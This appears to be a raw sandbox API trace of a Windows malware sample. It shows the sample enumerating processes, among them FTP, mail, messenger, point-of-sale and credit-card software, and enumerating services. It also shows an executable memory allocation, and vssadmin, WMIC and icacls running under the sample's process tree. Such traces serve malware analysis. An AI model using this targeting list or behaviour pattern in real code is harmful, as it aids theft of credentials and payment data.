	[0258.502] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0258.504] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0258.505] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0258.507] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0258.509] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0258.510] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0258.512] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0258.514] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0258.515] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0258.517] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0258.789] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0258.790] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0258.792] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0258.794] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0258.795] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0258.797] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0258.799] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0258.800] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0258.802] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0258.804] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0258.805] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0258.807] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0258.809] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0258.810] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0258.812] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0258.814] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0258.816] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0258.817] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0258.819] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0258.820] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0258.822] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0258.824] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0258.826] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0258.828] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0259.007] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0259.008] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0259.010] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0259.012] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0259.014] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0259.015] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0259.017] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0259.021] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0259.023] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0259.025] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0259.027] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0259.028] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0259.030] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0259.032] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0259.034] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0259.035] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0259.037] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0259.038] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0259.040] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0259.041] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0259.043] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0259.045] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0259.046] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0259.331] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0259.333] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0259.334] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0259.336] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0259.338] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8a, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0259.340] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf9, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0259.341] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0259.343] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0259.345] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0259.346] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0259.348] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0259.350] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0259.351] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0259.353] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0259.355] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0259.357] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0259.358] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0259.360] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x307c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ae0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0259.362] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x30cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ad8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0259.363] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x364c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0259.365] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.367] Process32NextW (in: hSnapshot=0x6bc, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0259.368] CloseHandle (hObject=0x6bc) returned 1
	[0259.368] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x424880
	[0259.562] EnumServicesStatusW (in: hSCManager=0x424880, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0 | out: lpServices=0x0, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0) returned 0
	[0259.572] VirtualAlloc (lpAddress=0x0, dwSize=0x1828, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
